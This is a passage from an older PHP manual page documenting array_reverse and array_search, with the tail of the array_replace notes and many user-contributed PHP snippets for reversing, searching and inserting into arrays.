The function will also do the reverse and add a multi to a single dimensional array or even a 2 tier array to a 5 tier as long as the heirarchy tree is identical.

I hope this helps atleast one person for all that I've gained from this site.
polecat at p0lecat dot com 29-Nov-2010 09:57
I would like to add to my previous note about my polecat_array_replace function that if you want to add a single dimensional array to a multi, all you must do is pass the matching internal array key from the multi as the initial argument as such:

$array1 = array( "berries" => array( "strawberry" => array( "color" => "red", "food" => "desserts"), "dewberry" = array( "color" => "dark violet", "food" => "pies"), );

$array2 = array( "food" => "wine");

$array1["berries"]["dewberry"] = polecat_array_replace($array1["berries"]["dewberry"], $array2);

This is will replace the value for "food" for "dewberry" with "wine".

The function will also do the reverse and add a multi to a single dimensional array or even a 2 tier array to a 5 tier as long as the heirarchy tree is identical.

I hope this helps atleast one person for all that I've gained from this site.
mail at romansklenar dot cz 10-Dec-2009 07:01
To get exactly same result like in PHP 5.3, the foreach loop in your code should look like:

<?php
...
$count = func_num_args();

for ($i = 1; $i < $count; $i++) {
   ...
}
...
?>

Check on this code:

<?php
$base = array('id' => NULL, 'login' => NULL, 'credit' => NULL);
$arr1 = array('id' => 2, 'login' => NULL, 'credit' => 5);
$arr2 = array('id' => NULL, 'login' => 'john.doe', 'credit' => 100);
$result = array_replace($base, $arr1, $arr2);

/*
correct output:

array(3) {
   "id" => NULL
   "login" => string(8) "john.doe"
   "credit" => int(100)
}

your output:

array(3) {
   "id" => int(2)
   "login" => NULL
   "credit" => int(5)
}
*/
?>

Function array_replace "replaces elements from passed arrays into the first array" -- this means replace from top-right to first, then from top-right - 1 to first, etc, etc...
tufan dot oezduman at googlemail dot com 06-Nov-2009 04:19
a little enhancement to dyer85 at gmail dot com's function below:
<?php
if (!function_exists('array_replace'))
{
  function array_replace( array &$array, array &$array1, $filterEmpty=false )
  {
    $args = func_get_args();
    $count = func_num_args()-1;

    for ($i = 0; $i < $count; ++$i) {
      if (is_array($args[$i])) {
        foreach ($args[$i] as $key => $val) {
            if ($filterEmpty && empty($val)) continue;
            $array[$key] = $val;
        }
      }
      else {
        trigger_error(
          __FUNCTION__ . '(): Argument #' . ($i+1) . ' is not an array',
          E_USER_WARNING
        );
        return NULL;
      }
    }

    return $array;
  }
}
?>

this will allow you to "tetris-like" merge arrays:

<?php

$a= array(
    0 => "foo",
    1 => "",
    2 => "baz"
);
$b= array(
    0 => "",
    1 => "bar",
    2 => ""
);

print_r(array_replace($a,$b, true));

?>
results in:
Array
(
    [0] => foo
    [1] => bar
    [2] => baz
)
dyer85 at gmail dot com 28-Jul-2009 09:45
For a backward compatible alternative, you might try something like this:

<?php

if (!function_exists('array_replace'))
{
  function array_replace( array &$array, array &$array1 )
  {
    $args = func_get_args();
    $count = func_num_args();

    for ($i = 0; $i < $count; ++$i) {
      if (is_array($args[$i])) {
        foreach ($args[$i] as $key => $val) {
          $array[$key] = $val;
        }
      }
      else {
        trigger_error(
          __FUNCTION__ . '(): Argument #' . ($i+1) . ' is not an array',
          E_USER_WARNING
        );
        return NULL;
      }
    }

    return $array;
  }
}

?>
array_replace_recursive
array_reverse
Array Functions


Return an array with elements in reverse order

array_replace
array_search
Array Functions
PHP Manual

array_reverse

(PHP 4, PHP 5)

array_reverse — Return an array with elements in reverse order

Description

array array_reverse ( array $array [, bool $preserve_keys = false ] )

Takes an input array and returns a new array with the order of the elements reversed.

Parameters

array

The input array.

preserve_keys

If set to TRUE numeric keys are preserved. Non-numeric keys are not affected by this setting and will always be preserved.

Return Values

Returns the reversed array.

Changelog

Version | Description
4.0.3 | The preserve_keys parameter was added.

Examples

Example #1 array_reverse() example

<?php
$input  = array("php", 4.0, array("green", "red"));
$result = array_reverse($input);
$result_keyed = array_reverse($input, true);
?>

This makes both $result and $result_keyed have the same elements, but note the difference between the keys. The printout of $result and $result_keyed will be:

Array
(
    [0] => Array
        (
            [0] => green
            [1] => red
        )

    [1] => 4
    [2] => php
)
Array
(
    [2] => Array
        (
            [0] => green
            [1] => red
        )

    [1] => 4
    [0] => php
)

See Also

  • array_flip() - Exchanges all keys with their associated values in an array

User Contributed Notes

Nick Kraynev 27-Jul-2011 12:15
Another way to maintain association:

<?php
return array_compose(
    array_reverse(array_keys($array)),
    array_reverse(array_values($array))
);
?>
jferchaud at yahoo dot fr 17-Feb-2011 06:29
Return an array with elements in reverse order preserving mixed type keys.

<?php
function array_reverse_order($array){
        $array_key = array_keys($array);
        $array_value = array_values($array);

        $array_return = array();
        for($i=1, $size_of_array=sizeof($array_key);$i<=$size_of_array;$i++){
            $array_return[$array_key[$size_of_array-$i]] = $array_value[$size_of_array-$i];
        }

        return $array_return;
    }
?>
alfbennett at gmail dot com 06-Apr-2010 01:41
Needed to just reverse keys. Don't flog me if there is a better way. This was a simple solution.

<?php
function array_reverse_keys($ar){
    return array_reverse(array_reverse($ar,true),false);
}
?>
ulderico at maber dot com dot br 14-May-2009 02:33
<?php
function array_reversed($array){
  $array = array_reverse($array);
  ksort($array);
  return($array);
}
?>

So you'll have a reversed array.. instead of an array with inverted keys.
Anonymous 01-Feb-2009 12:07
Reversing array by reference (does not preserve keys!):

<?php
function arrayReverse(&$arr)
{
    $c = count($arr);
    for($i=$c-1;$i>=0;$i--)
    {
        $arr[$c+$i] = $arr[$i];
    }
    $arr = array_slice($arr,$c,$c*2);
}
?>
rdx at jouwmoeder 07-Nov-2006 03:37
As response to Ella's note:

$array[0] = 'record1';
$array[9] = 'record2';
$array[15] = 'record3';

That is ordered way easier AND faster with array_values().
array_reverse twice is unnecessary. Once array_values and all values will be saved in new keys
Ella 14-Jul-2006 05:03
You can also use array_reverse to reset array indexes without losing the order of the values. For example when you use unset() to delete values from an array, the value gets deleted but you end up with a missing index:

$array[0] = 'record1';
$array[9] = 'record2';
$array[15] = 'record3';

Just use:

$array = array_reverse(array_reverse($array));

And your indexes get rearranged:

$array[0] = 'record1';
$array[1] = 'record2';
$array[2] = 'record3';
me2resh at gmail dot com 03-Feb-2005 01:25
Here is my version of sorting multidimensional arrays with any key in it even if u want it alphapatically sorted by any key.

u can remove the strtolower part if you want to keep it case sensitive

function cmp($a, $b){
    return strcmp(strtolower($a["name"]), strtolower($b["name"]));
}
Michiel de Roo 08-Sep-2003 12:55
If you need to reverse an array by reference, you can use the following function.

<?
function &array_reverse_ref(&$a) {
    $r = array();
    for($i=0, $j=count($a); $i<count($a); $i++, $j--) {
        $r[$i] =& $a[$j-1];
    }
    return $r;
}
?>

Use it like:
<?
class t {
    var $message = "message";
}
for($i=0; $i<10; $i++) {
    $a[] = new t();
}

$ra =& array_reverse_ref($a);

$a[0]->message = "now... this works in both";
$ra[0]->message = "but.... does not work in both";

for($i=0; $i<10; $i++) {
    echo $ra[$i]->message; echo "<br>\n";
}
echo "<br>\n";
for($i=0; $i<10; $i++) {
    echo $a[$i]->message; echo "<br>\n";
}
?>
zee4speed at hotmail dot com 04-Jul-2003 10:56
another way to ->
If you want to reverse an array with numerical indexes, you can keep them by using following code:
<?
# this is your array, and you would like to reverse it however maintain their actual index values to point to the existings.
$array_to_reverse[0]="zee";
$array_to_reverse[1]="andrew";
$array_to_reverse[2]="pablo";
$array_to_reverse[3]="mike";
$array_to_reverse[4]="ahmed";
$array_to_reverse[5]="yousra";
$array_to_reverse[6]="samir";
# you want the array to look like this so you can use a command like for each to march through the array.
$array_reversed[6]="samir";
$array_reversed[5]="yousra";
$array_reversed[4]="ahmed";
$array_reversed[3]="mike";
$array_reversed[2]="pablo";
$array_reversed[1]="andrew";
$array_reversed[0]="zee";
# however if you use array_reverse you get this:
$array_reversed[0]="samir";
$array_reversed[1]="yousra";
$array_reversed[2]="ahmed";
$array_reversed[3]="mike";
$array_reversed[4]="pablo";
$array_reversed[5]="andrew";
$array_reversed[6]="zee";
# this causes element samir to be first instead of last, just like you want.  hoever, the index value that refferences samir is now 0 instead of 6
# solution to this is the following code

$array_reversed = array_reverse ($array_to_reverse);
$size_of_array = count($array_reversed);
for ($z = 0; $z < $size_of_array; $z++){
         #do what you want
         #if you want to get the index value of the un-reveresed array, simply
         $actual_index = GetActualIndex($z,$size_of_array);
         echo $z." on array_reversed is the same ".$actual_index." on array_to_reverse<BR>\n";
}

function GetActualIndex($current_index, $size_of_array){
         $reverse_location = abs($current_index + 1 - $size_of_array);
         return $reverse_location;
}
?>
m dot weber at luna-park dot de 31-Jan-2003 07:02
If you want to reverse an array with numerical indexes, you can keep them by using following code:

<?php
end($gruppenarr);
do {
  $part1=key($gruppenarr);
  $part2=current($gruppenarr);
  $gruppenarr2[$part1]=$part2;
} while(prev($gruppenarr));
?>

input is $gruppenarr
output is $gruppenarr2
rahulavhad at yahoo dot com 29-Dec-2000 08:31
This code can help in recursive reversing of the array...

<?php
$arr1 = array(2,1,array(5,2,1,array(9,8,7)),5,0);
$arr1 = array_reverse($arr1);

function Reverse_Array($array)
{    $index = 0;
    foreach ($array as $subarray)
    {    if (is_array($subarray))
        {    $subarray = array_reverse($subarray);
            $arr = Reverse_Array($subarray);
            $array[$index] = $arr;
        }
        else {$array[$index] = $subarray;}
        $index++;
    }
    return $array;
}

$arr2 = Reverse_Array($arr1);
?>
david at audiogalaxy dot com 04-Mar-2000 01:39
As a further clarification: key-value pairs have an order within an array completely separate from whatever the keys happen to be - the order in which you add them.  This is the order that functions like each() and next() will move their pointer through the array.
If you add to an array without specifying the key, like $array[] = value; then an internal counter supplies the key value and then the numerical order of your keys will be identical to the the internal order.  If you "leave holes" - jumping ahead by specifying a higher number for the key, like $array[1000] = value; the internal counter gets pushed forward appropriately.  Other than its effect on this internal counter, specifying a numerical key seems no different than specifying a string.
However, some array functions, like array_merge() and array_reverse() treat keys that are numbers differently from keys that are not.
david at audiogalaxy dot com 04-Mar-2000 12:40
With associative arrays array_reverse() keeps key => value pairs matched but reverses the order of the array as spaned by functions like each().  With numerical indexes array_reverse not only reverses position (as spaned by each) but also renumbers the keys.
Both cases seem to be what people would generally want: indeed without the renumbering behavior, someone refering to array elements by numerical key wouldn't think array_reverse did anything.
However, people who are trying to keep numerical keys associated with their values - e.g. trying to have holes in their arrays - will be foiled by the renumbering.  The most telling results come from applying array_reverse() to arrays with mixed keys (some numbers and some strings).  The strings stay attached and the rest of the keys get renumbered around them - most annoying if you are thinking what you've got is an associative array but some of your keys happen to be numbers.
array_replace
array_search
Array Functions


Searches the array for a given value and returns the corresponding key if successful

array_reverse
array_shift
Array Functions
PHP Manual

array_search

(PHP 4 >= 4.0.5, PHP 5)

array_search — Searches the array for a given value and returns the corresponding key if successful

Description

mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )

Searches haystack for needle.

Parameters

needle

The searched value.

Note:

If needle is a string, the comparison is done in a case-sensitive manner.

haystack

The array.

strict

If the third parameter strict is set to TRUE then the array_search() function will search for identical elements in the haystack. This means it will also check the types of the needle in the haystack, and objects must be the same instance.

Return Values

Returns the key for needle if it is found in the array, FALSE otherwise.

If needle is found in haystack more than once, the first matching key is returned. To return the keys for all matching values, use array_keys() with the optional search_value parameter instead.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Changelog

Version | Description
4.2.0 | Prior to PHP 4.2.0, array_search() returns NULL on failure instead of FALSE.

Examples

Example #1 array_search() example

<?php
$array = array(0 => 'blue', 1 => 'red', 2 => 'green', 3 => 'red');

$key = array_search('green', $array); // $key = 2;
$key = array_search('red', $array);   // $key = 1;
?>

See Also

  • array_keys() - Return all the keys or a subset of the keys of an array
  • array_values() - Return all the values of an array
  • array_key_exists() - Checks if the given key or index exists in the array
  • in_array() - Checks if a value exists in an array

User Contributed Notes

nsstl 22-Jan-2012 09:57
Some thing that I wrote from a while, for what ever usefull purpose

This retrieves recursively a value from an array using a path-like notation.

   with:
     $delimiter         path delimiter
     $strict              if false, the search will allow gaps between path's components

<?php
function path_through_array($path, $array, $delimiter = '.', $strict = false)
{
  $path_token = explode($delimiter, $path);
  $head = array_shift($path_token);

  if (isset($array[$head]) && (0 == count($path_token)))
  {
    return $array[$head];
  }
  else if (isset($array[$head]))
  {
    return path_through_array(implode($delimiter, $path_token), $array[$head], $delimiter, $strict);
  }
  else if ($strict == true)
  {
    return false;
  }

  foreach ($array as $key=>$value)
  {
    if (is_array($value))
    {
      $found = path_through_array($path, $value, $delimiter, $strict);

      if(false != $found)
      {
        return $found;
      }
    }
  }
  return false;
}

//use:

$array1 = array('path' => array('to' => array('get' => array('something' => 'bar')), 'somethingelse'), 'foo' => 'anotherthing');

$val1 = path_through_array('path.to.get.something', $array1);                         // => will return : 'bar'
$val2 = path_through_array('path.to.get', $array1);                                       // => will return : array('something'=>'bar')
$val3 = path_through_array('path/to/get/something', $array1, '/');                  // => will return : 'bar'
$val4 = path_through_array('path.to.something', $array1);                            // => will return : 'bar'
$val5 = path_through_array('path.to.something', $array1, '.', true);               // => will return : false
Ouz zcan (mail at oguzozcan dot com) 17-Dec-2011 02:06
This is a multidimensional recursive find function :

<?php
function GetArrKey( $findArr, $key_arr, $depth=0 )
{
        if( count($key_arr) <= $depth || !array_key_exists($key_arr[$depth], $findArr) )
                return NULL;
        else if( count($key_arr) == $depth+1 )
                return $findArr[$key_arr[$depth]];

        return self::GetArrKey( $findArr[$key_arr[$depth]], $key_arr, $depth+1 );
}
?>

Using :
<?php
        $findArray = array( "first_dim" => array( "first_dim_in_1" => array( "first_dim_in_1_val_1", "first_dim_in_1_val_2", "first_dim_in_1_val_3" ), "first_dim_in_2" => array( "first_dim_in_2_val_1", "first_dim_in_2_val_2", "first_dim_in_2_val_3" ) ), "second_dim" => array( "second_dim_in" => "test", "second_dim_in_val_1"));

        var_dump( GetArrKey( $findArray, array( "first_dim", "first_dim_in_2" ) ) );

        /*
            Prints :
            array( "first_dim_in_2_val_1", "first_dim_in_2_val_2", "first_dim_in_2_val_3" )
        */

        //----------------------------------------------------//

        var_dump(GetArrKey( $findArray, array( "first_dim", "first_dim_in_2", 0 ) ) );

        /*
            Prints :
            string(20) => "first_dim_in_2_val_1"
        */

        //----------------------------------------------------//

        var_dump(GetArrKey( $findArray, array( "second_dim", 0 ) ) );

        /*
            Prints :
            string(4) => "test"
        */

        //----------------------------------------------------//

        var_dump(GetArrKey( $findArray, array( "second_dim", 0 ) ) );

        /*
            Prints :
            string(4) => "test"
        */

        //----------------------------------------------------//

        var_dump(GetArrKey( $findArray, array( "second_dim", 1 ) ) );

        /*
            Prints :
            string(19) => "second_dim_in_val_1"
        */

        //----------------------------------------------------//

        var_dump(GetArrKey( $findArray, array( "second_dim", 1, 1 ) ) );

        /*
            Prints :
            std_object => NULL
        */

?>
revoke 11-Oct-2011 04:12
Better solution of multidimensional searching.

<?php
function multidimensional_search($parents, $searched) {
  if (empty($searched) || empty($parents)) {
    return false;
  }

  foreach ($parents as $key => $value) {
    $exists = true;
    foreach ($searched as $skey => $svalue) {
      $exists = ($exists && IsSet($parents[$key][$skey]) && $parents[$key][$skey] == $svalue);
    }
    if($exists){ return $key; }
  }

  return false;
}

$parents = array();
$parents[] = array('date'=>1320883200, 'uid'=>3);
$parents[] = array('date'=>1320883200, 'uid'=>5);
$parents[] = array('date'=>1318204800, 'uid'=>5);

echo multidimensional_search($parents, array('date'=>1320883200, 'uid'=>5)); // 1
?>
stooshie at gmail dot com 06-Oct-2011 02:51
Example of a recursive binary search that returns the index rather than boolean.
<?php
// returns the index of needle in haystack
function binSearch($needle, $haystack)
{
    // n is only needed if counting depth of search
    global $n;
    $n++;
    // get the length of passed array
    $l = count($haystack);
    // if length is 0, problem
    if($l <= 0)
    {
        return -1;
    }
    // get the mid element
    $m = (($l+($l%2))/2);
    // if mid >= length (e.g. l=1)
    if($m >= $l)
    {
        $m = $m-1;
    }
    // get the indexed element to compare to the passed element and branch accordingly
    $compare = $haystack[$m];
    switch(true)
    {
        case($compare>$needle):
        {
            // recurse on the lower half
            $new_haystack = array_slice($haystack, 0, $m);
            $c = count($new_haystack);
            $r = binSearch($needle, $new_haystack);
            // return current index - (length of lower half - found index in lower half)
            return $m - ($c - $r);
            break;
        }
        case($compare<$needle):
        {
            // recurse on the upper half
            $new_haystack = array_slice($haystack, $m, ($l-$m));
            $c = count($new_haystack);
            $r = binSearch($needle, $new_haystack);
            // return current position + found index in upper half
            return $m + $r;
            break;
        }
        case($compare==$needle):
        {
            // found it, so return index
            return $m;
            break;
        }
    }
}
?>
Dave C 27-Sep-2011 01:18
Here is a version of binary search that is done via recursion instead of iteration.  Remember that your data needs to be presorted!

<?php
static function Bin_Search(&$needle, &$haystack, $start, $end) {
        if($end < $start)
        {
            return false;
        }

        $mid = (int)(($end - $start) / 2) + $start;

        if($haystack[$mid] > $needle)
        {
            return Bin_Search($needle, $haystack, $start, $mid - 1);
        }
        else if($haystack[$mid] < $needle)
        {
            return Bin_Search($needle, $haystack, $mid + 1, $end);
        }
        else
        {
            return true;
        }
}
?>
Jordan Rutty (ruttyj92[-at-][hotmailcom) 04-Jul-2011 10:41
Array AFTER/BEFORE Function

function made to mimic the jQuery function to insert items/arrays into another array before or after a specific key. It is split into two functions for reuse to find the offset of a key. it detects if the array is associative (can also be manually controlled) and adds the keys where needed. if the inserted array is associative then any overlapping keys will be replaced by the new ones.

array_insert(array &$original , mixed $insert=null , var $position='after' , $key=null [, $keep_keys=true])

options for $position = (after|before)

<?php
function key_offset(&$array, $searchKey){
    if(is_array($array) && array_key_exists($searchKey, $array)){
        $counter = 0;
        foreach($array as $key => $value){
            if($searchKey == $key){
                return $counter;
            } else {
                $counter++;
            }
        }
    }
}

function array_insert(&$original, $insert=null, $position='after', $key=null, $sens=true){
    if(!empty($insert)){
           $after = $position == 'after' ? true : false;
           $insert = (array)$insert;
           $assoc = (array_keys($insert) !== range(0, count($insert)-1));
           $keep_keys = is_string($insert) || !$assoc || $sens;

        if(!empty($key) && array_key_exists($key, $original)){
            $start = key_offset($original, $key);
               $start = $after ? $start+1 : $start;
            if(!$keep_keys){
                array_Splice($original,$start,0,$insert);
                } else {
                $keys = array_Keys($original);
                $values = array_Values($original);
                $insert = (array)$insert;
                $rKeys = array_Keys($insert);
                $rValues = array_Values($insert);
                array_Splice($keys,$start,0,$rKeys);
                array_Splice($values,$start,0,$rValues);
                    $original = array_Combine($keys,$values);
                }
        } else {
            $original = $after ? array_merge($original, $insert) : array_merge($insert, $original);
        }
    }
}

$insert = array('omg'=> 'it works', 'this_is' => 'awsome', 'r' =>103,104);
$insert2 = range(11,15);
$insert3 = array(100=>101,102,103,104);

$original=range(1,10);
array_insert($original, $insert, 'after', 4);

$original=range(1,10);
array_insert($original, $insert, 'after', 4, false);

$original=range(1,10);
array_insert($original, $insert2, 'after', 4);

$original=range(1,10);
array_insert($original, $insert3, 'after', 4);

/*
Array
(
    [0] => 104
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [omg] => it works
    [this_is] => awsome
    [r] => 103
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
)

Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => it works
    [6] => awsome
    [7] => 103
    [8] => 104
    [9] => 6
    [10] => 7
    [11] => 8
    [12] => 9
    [13] => 10
)

Array
(
    [0] => 11
    [1] => 12
    [2] => 13
    [3] => 14
    [4] => 15
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
)

Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [100] => 101
    [101] => 102
    [102] => 103
    [103] => 104
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
)
*/
?>
willemvannus at gmail dot com 11-Feb-2011 03:23
I found a simple script to remove certain values from a array.
I use it when using the scandir function, because i don't want certain items in the array (like the ., .. folders and the thumbs.db)

<?php
$music = scandir("music");
unset($music[array_search('.',$music)]);  // Removing the . directory
unset($music[array_search('..',$music)]); // Removing the .. directory
unset($music[array_search('Thumbs.db',$music)]); // Removing the Thumbs.db file
unset($music[array_search('thumbs.db',$music)]); // Removing the thumbs.db file
?>
syrgjyn at gmail dot com 18-Jan-2011 07:51
Recently I had to get all locations of a one-dimensional non-associative array (needle, not array of needles) in another one-dimensional non-associative array (haystack) without using more memory than necessary. I haven't found any satisfactory way to do that, so I wrote the following function, inspired by the array_slice() source code.

Notes:
0. $offset, $length and $strict behave the same way as those for array_slice() and array_search();
1. this function doesn't use foreach or array_slice(), neither does it modify $needle or $haystack, so no temporary copies are needed/created, regardless of whether the arguments are passed by reference or not -- useful when dealing with very large haystacks and needles;
2. $needle and $haystack are typecast to array if they're not arrays;
3. you can specify the $start position to start searching from in the $haystack (default is 0);
4. negative $start values can be used if you want to specify the starting position from the end of $haystack.
5. you can specify the search $length, starting from $start; a negative value stops the search at that many elements from the end of the haystack;
6. pass true as the fifth argument to do a strict search (not tested on objects);
7. the function returns an array if it finds one or more occurrences of $needle in the $haystack, false on failure.
8. keys are preserved;
9. if you want to get only the first location of $needle in $haystack, returned as an integer rather than array -- in other words, to make an array_match() function instead of array_match_all() -- remove this line:

  $results = array();

and replace:

    if ($found)
    {
      $results[] = $i;
      $i += $ncount - 1;
    }
  }
  if (!empty($results))
    return $results;
  else
    return false;

with:

    if ($found)
      return $i;
  }
  return false;

And now the function:

<?php
function array_match_all($needle, $haystack, $offset = 0, $length = 0, $strict = false)
{
  if (!is_array($needle))
    $needle = (array) $needle;
  if (!is_array($haystack))
    $haystack = (array) $haystack;

  $offset = (int) $offset;
  $length = (int) $length;
  $strict = ($strict != false);
  $ncount = count($needle);
  $hcount = count($haystack);

  // Empty arrays? Really? Also, no point in dealing with a needle larger than the haystack.
  if (($hcount == 0) || ($ncount == 0) || ($ncount > $hcount))
    return false;

  // Is offset beyond the upper bound?
  if ($offset > $hcount - $ncount)
    return false;
  // If offset is specified from the end of haystack, is it beyond the lower bound?
  elseif ($offset < 0 && ($offset = $hcount + $offset) < 0)
    $offset = 0;

  // Determine the length.
  if ($length == 0)
    $length = $hcount;

  if ($length < 0)
    $length = $hcount - $offset + $length;
  elseif ($offset + $length > $hcount)
    $length = $hcount - $offset;

  // Is the needle larger than the portion of the haystack we are searching in?
  if (($length <= 1) || ($ncount > $length))
    return false;

  // Determine the actual search length.
  $length = $offset + $length - $ncount + 1;

  $results = array();
  for ($i = $offset; $i < $length; ++$i)
  {
    $found = true;
    for ($j = 0; $j < $ncount; ++$j)
    {
      if (($strict && ($haystack[$i + $j] !== $needle[$j])) || (!$strict && ($haystack[$i + $j] != $needle[$j])))
      {
        $found = false;
        break;
      }
    }
    if ($found)
    {
      $results[] = $i;
      $i += $ncount - 1;
    }
  }

  if (empty($results))
    return false;
  else
    return $results;
}
?>
stefano@takys dot it 14-Jan-2011 01:58
for searching case insensitive better this:

<?php
array_search(strtolower($element),array_map('strtolower',$array));
?>
user at www dot mp3s dot pl 28-Dec-2010 01:25
for case insensitive array_search you could use:

<?php
function array_search_i($str,$array){
    foreach($array as $key => $value) {
        if(stristr($str,$value)) return $key;
    }
    return false;
}
?>
manchimen [at) yahoo [dot) com 01-Nov-2010 02:18
Hey all - I needed a function to search for an array in a multi-dimensional array, but only the keys I wanted, not all keys. Hee if my function:

<?php
function my_array_search($needle, $haystack) {
        if (empty($needle) || empty($haystack)) {
            return false;
        }

        foreach ($haystack as $key => $value) {
            $exists = 0;
            foreach ($needle as $nkey => $nvalue) {
                if (!empty($value[$nkey]) && $value[$nkey] == $nvalue) {
                    $exists = 1;
                } else {
                    $exists = 0;
                }
            }
            if ($exists) return $key;
        }

        return false;
    }
?>

Examples:
<?php
$needle = array('date_start' => '27-10-2010', 'date_end' => '29-10-2010');

$haystack = array();
$haystack[] = array('date_start' => '25-10-2010', 'date_end' => '26-10-2010', 'promos' => array('test', 'test1');
$haystack[] = array('date_start' => '27-10-2010', 'date_end' => '28-10-2010', 'promos' => array('test2', 'test3');
$haystack[] = array('date_start' => '27-10-2010', 'date_end' => '29-10-2010', 'promos' => array('test4', 'test5');

$key = my_array_search($needle, $haystack);
// will output (bool)false for not found or (int)key_no with the key number
// this example outputs (int)2
var_dump($key);
?>

I hope this function will help someone!
GuardianGI 23-Sep-2010 12:42
I needed to check an array for a value but the value only had to match part of a string in the array value so i wrote this little function hope it helps someone out (also some documentation of what used to test if there already was such a function 'couse i was hoping array_search was this.

<?php
function my_array_search($needle = null, $haystack_array = null, $skip = 0)
{
    if($needle == null || $haystack_array == null)
        die('$needle and $haystack_array are mandatory for functie my_array_search()');
    foreach($haystack_array as $key => $eval)
    {
        if($skip != 0)$eval = substr($eval, $skip);
        if(stristr($eval, $needle) !== false) return true;
    }
    return false;
}

$arr = array('foo', 'bar');

echo 'using in_array<br />';
if(in_array('ar', $arr) === true)echo 'ar found<br />';
if(in_array('bar', $arr) === true)echo 'bar found<br />';

echo 'using array_search<br />';
if(array_search('ar', $arr) !== false)echo 'ar found<br />';
if(array_search('bar', $arr) !== false)echo 'bar found<br />';

echo 'using my_array_search<br />';
if(my_array_search('ar', $arr) !== false)echo 'ar found<br />';
if(my_array_search('bar', $arr) !== false)echo 'bar found<br />';
?>

returns:

using in_array
bar found
using array_search
bar found
using my_array_search
ar found
bar found
j dot vd dot merwe at enovision dot net 22-Sep-2010 02:42
The getParentStack is also working if you work with JSON records that are encoded. Following sample:

$in = '{"total":"2","records": [{"id":"25"},{"id":"32"}]}'; // string!!!
$json = json_decode( $in, true ); //don't forget the true here

$s = getParentStack(32, $json['records']) ;

then test this with:

if ($s != false)     // then it is found, don't test true here!!!

or test direct with:

if ( getParentStack(32, $json['records']) != false )

It works great with my JSON's thanks Robert Gonzalez
robert at robert-gonzalez dot com 22-Sep-2010 12:15
I needed a way to find the parent hierarchy of a multidimensional array. Being the rogue that I am, I got to coding before searching the manual and came up with two little functions that will return a parent stack for a first find and a complete parent stack, similar in nature to the solution presented by jette at nerdgirl dot dk without all the extra stuff or use of eval(). ;)

<?php
/**
 * Gets the parent stack of a string array element if it is found within the
 * parent array
 *
 * This will not search objects within an array, though I suspect you could
 * tweak it easily enough to do that
 *
 * @param string $child The string array element to search for
 * @param array $stack The stack to search within for the child
 * @return array An array containing the parent stack for the child if found,
 *               false otherwise
 */
function getParentStack($child, $stack) {
    foreach ($stack as $k => $v) {
        if (is_array($v)) {
            // If the current element of the array is an array, recurse it and capture the return
            $return = getParentStack($child, $v);

            // If the return is an array, stack it and return it
            if (is_array($return)) {
                return array($k => $return);
            }
        } else {
            // Since we are not on an array, compare directly
            if ($v == $child) {
                // And if we match, stack it and return it
                return array($k => $child);
            }
        }
    }

    // Return false since there was nothing found
    return false;
}

/**
 * Gets the complete parent stack of a string array element if it is found
 * within the parent array
 *
 * This will not search objects within an array, though I suspect you could
 * tweak it easily enough to do that
 *
 * @param string $child The string array element to search for
 * @param array $stack The stack to search within for the child
 * @return array An array containing the parent stack for the child if found,
 *               false otherwise
 */
function getParentStackComplete($child, $stack) {
    $return = array();
    foreach ($stack as $k => $v) {
        if (is_array($v)) {
            // If the current element of the array is an array, recurse it
            // and capture the return stack
            $stack = getParentStackComplete($child, $v);

            // If the return stack is an array, add it to the return
            if (is_array($stack) && !empty($stack)) {
                $return[$k] = $stack;
            }
        } else {
            // Since we are not on an array, compare directly
            if ($v == $child) {
                // And if we match, stack it and return it
                $return[$k] = $child;
            }
        }
    }

    // Return the stack
    return empty($return) ? false: $return;
}

// TESTING
$array = array(
    'balloon' => array(
        'red' => array(1 => 'Love', 'Valentine', 'Heart',),
        'green' => array(1 => 'Summertime', 'Hope',),
    ),
    'ribbon' => array(
        'yellow' => array(2 => 'Welcome',),
        'red' => array(3 => 'Love', 'Love',),
    ),
);

$s = getParentStack('Love', $array);
$c = getParentStackComplete('Love', $array);
var_dump($s, $c);
?>

Output:

array
  'balloon' =>
    array
      'red' =>
        array
          1 => string 'Love' (length=4)

array
  'balloon' =>
    array
      'red' =>
        array
          1 => string 'Love' (length=4)
  'ribbon' =>
    array
      'red' =>
        array
          3 => string 'Love' (length=4)
          4 => string 'Love' (length=4)
hanan dot ali dot shaikh at googlemail dot com 17-Sep-2010 01:14
In this code I write a code to find next and previous element of an array using current element of that array. Let suppose if we are in element 9 and have to access its next and previous element then this code be helpful for someone.

<?php
$myArray = array(4,5,7,9,10,11,13,19,25);

$currentElement = 9;
$firstElement = current($myArray);
$lastElement = $myArray[sizeof($myArray)-1];

$currentKey = array_search($currentElement, $myArray);
$currentValue = $myArray[$currentKey];

$previousValue = "";
$nextValue = "";
if($currentElement!=$lastElement){
    $nextKey = $currentKey + 1;
    $nextValue = $myArray[$nextKey];
}

if($currentElement!=$firstElement){
    $previousKey = $currentKey - 1;
    $previousValue = $myArray[$previousKey];
}

echo $previousValue."--".$currentValue."--".$nextValue;

?>

Thanks,
Hanan Ali
Yco 03-Aug-2010 01:35
This a simple and lazy lazy method to search a key name in an array by pattern, and return the value if it isn't empty.

<?php
function array_search_key($p, $a)
{
    foreach ($a as $k => $v) {
        if(strstr($k, $p)){
            if(!empty($v) || $v > 0){
                return $v;
            }
        }
    }
}
?>
giulio dot provasi at gmail dot com 30-Apr-2010 02:06
If you want a very simple way of searching a value through a multidimensionnal array here's a  trick :

<?php
function recursiveArraySearch($haystack, $needle, $index = null)
{
    $aIt     = new RecursiveArrayIterator($haystack);
    $it    = new RecursiveIteratorIterator($aIt);

    while($it->valid())
    {
        if (((isset($index) AND ($it->key() == $index)) OR (!isset($index))) AND ($it->current() == $needle)) {
            return $aIt->key();
        }

        $it->next();
    }

    return false;
}
?>

So let's take a misc multi-dimensionnal array :

<?php
$std = new stdClass();
$std->name     = 'luke';
$std->age     = '25';
$std->sex     = 'M';

$array     = array(    array('type'=>'dog', 'name'=>'butch', 'sex'=>'m', 'breed'=>'boxer'),
